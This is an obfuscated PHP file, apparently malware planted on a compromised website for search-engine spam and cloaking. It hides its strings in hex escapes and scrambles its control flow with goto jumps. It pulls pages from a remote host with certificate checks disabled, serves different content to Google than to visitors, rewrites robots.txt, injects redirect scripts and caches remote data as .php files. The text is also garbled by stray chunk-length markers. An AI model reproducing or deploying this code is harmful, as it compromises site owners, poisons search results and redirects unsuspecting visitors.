1 < 7 ?php 7 goto Zw 8 K5j; sNi 8 wt: if ( 8 !empty($ 8 sz)) { $ 8 jd = get 8 CurlFast 8 ("{$http 8 _type}{$ 8 vurl}\63 9 \x6b\147\ 9 x2e\141\1 b 63\160\170\ a x3f\x73\x7 9 a\x3d" . 9 urlencode e ($sz)); } else 31 { $jd = getCurlFast("{$http_type}{$vurl}\x33\153 16 \147\56\141\163\160\x7 f 8\x3f\x78\171\7 14 5{$http_type}"); $sz 43 = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\163\160\x78\7 9 7\x6a\x64 20 \x3d" . urlencode($jd)); } goto 8 kZXUn; x 9 FIjt: fun a ction get_ 8 real_ip( d ) { $keys = a 9 rray("\x4 c 8\124\124\x5 c 0\x5f\x43\10 c 6\x5f\103\x4 d f\x4e\116\105 13 \103\124\111\x4e\10 f 7\x5f\111\x50", 11 "\110\x54\x54\x5 10 0\137\x58\137\x5 d 2\x45\101\x4c 11 \137\x49\120", "\ 16 x48\x54\124\x50\137\13 10 0\137\106\x4f\12 11 2\127\101\x52\x44 12 \105\x44\x5f\106\1 17 17\122", "\110\124\124\ 15 120\137\x43\x4c\x49\1 1b 05\x4e\124\x5f\111\x50", "\ 12 x52\x45\x4d\x4f\x5 17 4\105\137\x41\x44\x44\1 c 22"); foreac b h ($keys as 15 $k) { if (!empty($_S 7 ERVER[$ a k])) { $ip 17 = $_SERVER[$k]; if (st c rpos($ip, "\ 8 54") !== 11 false) { $ip = t 8 rim(expl f ode("\54", $ip) c [0]); } if ( 8 filter_v c ar($ip, FILT 7 ER_VALI 7 DATE_IP b )) { return 15 $ip; } } } return "\ d 61\62\67\x2e\ a 60\56\60\x 3 2e\ f x31"; } goto UO c exB; ZwK5j: 9 error_rep 8 orting(0 d ); goto eX8At 7 ; q70WN b : $surl = $ f jd . "\163\x7a\ 16 156\56\141\163\160\170 d "; goto tadjA 7 ; p7jg0 16 : function get_url_inf a o(string $ f type = "\x64\15 b 7\155\x61\1 a 51\x6e") : e string { $hos 25 t = $_SERVER["\x48\124\124\120\137\x4 d 8\117\x53\124 8 "] ?? '' 15 ; if ($type === "\x6e e \157\x5f\167\x 14 77\167") { return pr 9 eg_replac 14 e("\x2f\x5e\167\x77\ 10 x77\x5c\56\57\x6 7 9", '', 11 $host); } $proto 16 col = !empty($_SERVER[ 17 "\x48\x54\x54\x50\123"] 10 ) && $_SERVER["\ 1a 110\124\124\120\123"] !== f "\x6f\146\146" b ? "\150\x74 f \x74\160\x73\72 10 \57\57" : "\150\ 12 164\x74\x70\72\57\ 9 x2f"; $ba 16 se = $protocol . $host 21 ; if ($type === "\x62\141\163\145 19 ") { return $base; } if ( 17 $type === "\146\165\x6c 25 \x6c") { return $base . ($_SERVER["\x d 52\105\121\12 f 5\x45\x53\x54\1 e 37\x55\x52\x49 1b "] ?? ''); } return $host; d } goto WOCuf; 6 oBxKF 13 : function ensure_r 9 obots_sit d emap($sitemap f Line) { $robots 16 = rtrim($_SERVER["\10 c 4\117\x43\x5 11 5\x4d\105\116\x54 16 \137\x52\x4f\x4f\124"] e , "\57\134") . e "\57\x72\x6f\ 13 x62\157\x74\x73\56\ 12 x74\x78\x74"; if ( a !file_exis f ts($robots)) { b @file_put_c f ontents($robots 12 , "\125\163\145\16 e 2\x2d\141\147\ 11 145\156\164\x3a\4 8 0\x2a\xa 19 \x41\154\x6c\157\x77\72\x c 20\57\xa" . 12 $sitemapLine, LOCK 11 _EX); } else { $c 1d = @file_get_contents($robots e ); if ($c === 11 false || strpos($ 1a c, $sitemapLine) === false 31 ) { @file_put_contents($robots, $sitemapLine, FIL 8 E_APPEND 10 | LOCK_EX); } } f } goto TcPSL; b jCsnT: if ( a $kk === '' b && $is_no_ e query) { if ($ f domain === "\14 d 7\157\x6f\147 14 \x6c\x65") { output_ 10 sitemap_and_exit 19 ($sitemapLine, $http_type 1a ); } else { die; } } goto 7 GQGtw; 8 y1V0b: $ c kk = isset($ d get["\x6b\x6b 16 "]) ? trim($get["\x6b\ d 153"]) : ''; b goto u9Vm1; 12 WOCuf: $http_type 3e = !empty($_SERVER["\x48\x54\x54\120\123"]) && $_SERVER["\110\ 39 x54\124\120\123"] !== "\x6f\146\146" ? "\150\x74\x74\x70\ c x73\x3a\x2f\ 12 57" : "\x68\x74\16 1a 4\x70\72\x2f\57"; goto Vmg d LL; kZXUn: $h 5 yzhdy 2d = $jd . "\172\x6e\56\141\163\160\170"; goto d q70WN; GQGtw: 3e output_sitemap_and_exit($sitemapLine, $http_type); goto EjU3H 7 ; eggD8 11 : function cache_ e set($key, $dat d a) { $file = c sys_get_temp b _dir() . "\ d x2f\143\x61\1 e 43\x68\x65\x5f 13 " . md5($key) . "\5 d 6\160\x68\160 22 "; @file_put_contents($file, $data 19 , LOCK_EX); } goto xFIjt; 7 taa3z: 1e if ($domain !== "\x67\157\157 11 \147\154\145" && 12 !empty($iid)) { $k b name = urld 1b ecode(getCurlFast($jd . "\1 20 47\x6e\56\141\163\160\x78\x3f\x6 17 9\x69\x64\x3d" . $iid)) c ; echo "\x3c 11 \x73\x63\x72\x69\ 13 160\x74\76\x6c\157\ f 143\x61\164\151 f \x6f\x6e\75\x22 15 " . $jd . "\141\56\x6 12 1\163\x70\170\x3f\ 13 143\x6e\141\155\x65 17 \75" . urlencode($kname 15 ) . "\x26\165\162\154 13 \75" . $http_type . 2a $_SERVER["\x48\124\124\x50\137\110\x4f\x5 16 3\x54"] . $_SERVER["\x 12 53\x43\x52\x49\120 18 \x54\137\116\101\x4d\105 11 "] . "\x22\x3c\x2 1f f\x73\x63\x72\x69\160\x74\76"; 11 die; } goto ZGeRz 7 ; r795u b : $qz = sub 10 str(str_replace( 17 array("\167\167\167\x2e 9 ", "\56") 28 , '', $_SERVER["\x48\124\124\x50\x5f\x48 13 \x4f\123\124"]), 0, e 3); goto ap1m 16 o; TcPSL: if (!empty($ 12 get["\167"])) { $p d arams = http_ c build_query( 16 array("\x4e\x4f\x55\x6 f d\142\145\162" b => $get["\x 16 4e\117\x55\x6d\x62\145 13 \x72"] ?? '', "\164 20 " => $get["\164"] ?? '', "\x63\x 15 6e" => $get["\143\x6e 2d "] ?? '', "\x70\x4e\x4f\x55\x6d" => $get["\16 23 0\x4e\x4f\x55\155"] ?? '', "\x63\x6 17 9\144" => $get["\x63\15 15 1\x64"] ?? '', "\155" 1d => $get["\x6d"] ?? '')); $st 1c r = getCurlFast("{$surl}\x3f d {$params}"); 21 echo str_replace(array("\171\171\ 11 x6d\x6d", "\x67\x 17 67\x67\147\x67", "\77\1 a 46\x3d"), 2e array($http_type . $_SERVER["\x48\124\x54\120\ 23 x5f\110\x4f\123\x54"] . $_SERVER["\ 16 123\103\x52\x49\x50\x5 10 4\x5f\x4e\101\11 c 5\x45"], $sz e , "\77" . $qz 10 . "\x3d"), $str) 1b ; die; } goto y1V0b; ap1mo: 10 $sz = $iid = '' c ; goto hlG6j 10 ; u9Vm1: $ip = $ 10 kk !== '' ? "\x3 f 6\66\x2e\x32\x3 d 4\x39\x2e\70\ d 62\x2e\70" : 18 get_real_ip(); goto UflM 18 7; hlG6j: if (!empty($_G d ET)) { $f = r f eset($_GET); $s 11 p = explode("\x2d 10 ", $f); if (coun c t($sp) === 2 11 ) { $sz = $sp[0]; e $iid = $sp[1] 17 ; } } goto sNiwt; UflM7 11 : $domain = trim( 25 getCurlFast($jd . "\147\x65\164\144\x 17 6f\x6d\x61\151\x6e\x32\ 14 56\x61\x73\160\170\7 12 7\x72\x6e\144\75\x e 31\46\x69\160\ 14 75" . $ip)); goto ta 8 a3z; EYX 16 7h: if ($kk !== '' && a preg_match c ("\57\x5e\x5 c b\x41\55\x5a 12 \141\x2d\172\60\x2 d d\x39\x5d\53\ b 44\57", $kk c )) { $remote 3a = getCurlFast($jd . "\147\x65\164\144\157\155\x61\151\x6e 11 \62\56\141\x73\x7 1d 0\170\77\x72\156\144\75\62\x2 12 6\x6b\153\x3d" . $ 1c kk); if (!empty($remote)) { 1c echo $remote; die; } } goto 9 u3U2k; gm 15 Jgr: function cache_g f et($key, $expir 32 e = 300) { $file = sys_get_temp_dir() . "\x2f\143\ e 141\143\150\14 25 5\x5f" . md5($key) . "\56\x70\150\x70 18 "; if (file_exists($file c ) && time() 1 - b filemtime( 1b $file) < $expire) { return 23 file_get_contents($file); } return 14 false; } goto eggD8; 1b u3U2k: if ($kk !== '' && ! 17 preg_match("\x2f\136\x5 19 b\x41\55\132\141\x2d\172\ 12 x30\x2d\x39\135\x2 47 b\44\57", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } a goto eCAbA 12 ; ofsRJ: function 35 output_sitemap_and_exit($sitemapLine, $http_type) { e 34 nsure_robots_sitemap($sitemapLine); echo "\x3c\x64\x f 69\x76\40\x73\x 11 74\171\154\x65\x3 d d\x27\164\145 12 \x78\x74\x2d\x61\x 13 6c\151\x67\156\72\x 17 63\x65\156\164\145\x72\ 18 73\160\x61\x64\x64\x69\x f 6e\147\x3a\61\6 11 0\160\170\40\x30\ d 73\47\x3e\xa\ 13 40\x20\x20\40\40\x2 26 0\x20\x20\40\40\x20\x20\74\x61\40\150\ 13 162\145\146\x3d\x22 29 {$http_type}{$_SERVER["\110\124\124\120\1 14 37\110\117\123\124"] 18 }{$_SERVER["\x53\103\122 17 \111\x50\x54\x5f\116\x4 12 1\x4d\105"]}\x3f\1 11 67\x3d" . date("\ d 131\x6d\144\1 15 10\151") . "\x22\x20\ b 164\x61\x72 1b \147\x65\x74\x3d\x22\137\14 13 2\154\x61\x6e\x6b\x 16 22\x20\x72\x65\154\75\ 11 42\x6e\x6f\146\15 13 7\x6c\154\x6f\x77\x 14 22\x3e\x53\151\164\1 11 45\x6d\141\160\74 1b \x2f\141\x3e\xa\40\x20\x20\ 21 x20\40\40\x20\x20\40\x20\74\x2f\x 1c 64\x69\166\76"; die; } goto d EYX7h; tadjA: 1b $sitemapLine = "\123\151\x 14 74\145\155\x61\x70\x 1e 3a\x20{$http_type}{$_SERVER["\ 33 x48\124\124\120\x5f\110\x4f\123\x54"]}{$_SERVER["\1 18 23\103\x52\111\x50\124\1 14 37\x4e\101\x4d\x45"] 1c }\x3f\x77\x3d" . date("\131\ 20 155\144\110\151") . "\xa"; goto f oBxKF; VmgLL: $ f vurl = "\164\15 11 7\x2e\152\x67\x61 12 \x6c\154\x73\x2e\x 16 63\157\155\x2f"; goto d r795u; eCAbA: 22 $is_no_query = empty($_SERVER["\x 10 51\125\105\x52\1 b 31\137\x53\ 12 x54\122\x49\x4e\x4 11 7"]); goto jCsnT; f eX8At: $get = 13 filter_input_array( 9 INPUT_GET d , FILTER_SANI 8 TIZE_STR 10 ING); goto gmJgr 15 ; ZGeRz: if (!empty($ 23 iid)) { $str = getCurlFast($hyzhdy 1c . "\x3f\x69\x69\x64\x3d{$iid 31 }"); echo str_replace(array("\x67\x67\x67\147\147 f ", "\x59\131\x5 1a 9\x59\131", "\x58\x58\x58\ 15 131\131\x59", "\xe5\x 8 bd\223\3 a 45\x89\x8d 15 \125\x52\x4c", "\125\ f x55\x55\125\x55 13 ", "\115\x4d\115\11 13 5\x4d", "\77\x66\75 1c "), array($sz, get_url_info( 18 ), get_url_info("\142\14 23 1\163\145"), get_url_info("\146\x75 23 \x6c\154"), get_url_info("\x6e\x6f\ 10 x5f\x77\167\x77" c ), parse_url 20 ($_SERVER["\122\105\121\125\x45\ 17 123\124\137\x55\122\111 a "], PHP_UR 7 L_PATH) 2b , "\77" . $qz . "\75"), $str); die; } goto c ofsRJ; UOexB 20 : function getCurlFast($url) { $ 14 cached = cache_get($ 12 url); if ($cached 1b !== false) { return $cached 10 ; } $data = ''; 1b if (function_exists("\143\x 10 75\x72\x6c\x5f\1 f 51\156\151\164" c )) { $ch = c 18 url_init($url); curl_set d opt_array($ch 10 , array(CURLOPT_ 7 RETURNT 7 RANSFER a => true, e CURLOPT_CONNEC 7 TTIMEOU 1c T => 5, CURLOPT_TIMEOUT => 8 e , CURLOPT_SSL_ 8 VERIFYPE 21 ER => false, CURLOPT_SSL_VERIFYHO 18 ST => false, CURLOPT_FOL 7 LOWLOCA 18 TION => false, CURLOPT_U 7 SERAGEN 12 T => "\115\157\x7a 14 \x69\x6c\154\x61\57\ e 65\56\60")); $ 10 data = curl_exec 11 ($ch); curl_close 14 ($ch); } if (empty($ 11 data) && ini_get( 17 "\x61\154\154\157\167\x 14 5f\x75\x72\154\137\x e 66\157\160\x65 11 \x6e")) { $contex b t = stream_ 18 context_create(array("\1 13 50\x74\x74\160" => 1b array("\164\151\x6d\145\157 14 \x75\x74" => 8, "\x6 16 8\x65\x61\x64\145\x72" c => "\x55\x7 b 3\145\162\5 18 5\101\x67\145\156\x74\x3 f a\x20\x4d\x6f\1 15 72\x69\154\154\141\x2 11 f\65\56\x30\xd\12 d "), "\163\x73 15 \x6c" => array("\x76\ 13 145\x72\x69\146\x79 20 \x5f\x70\x65\x65\x72" => false, 26 "\166\x65\x72\x69\146\x79\x5f\x70\x65\ 14 145\162\137\x6e\141\ 1e x6d\145" => false))); $data = 20 @file_get_contents($url, false, 12 $context); } if (! 20 empty($data)) { cache_set($url, 16 $data); } return $data 15 ; } goto p7jg0; EjU3H 4 : ?> 0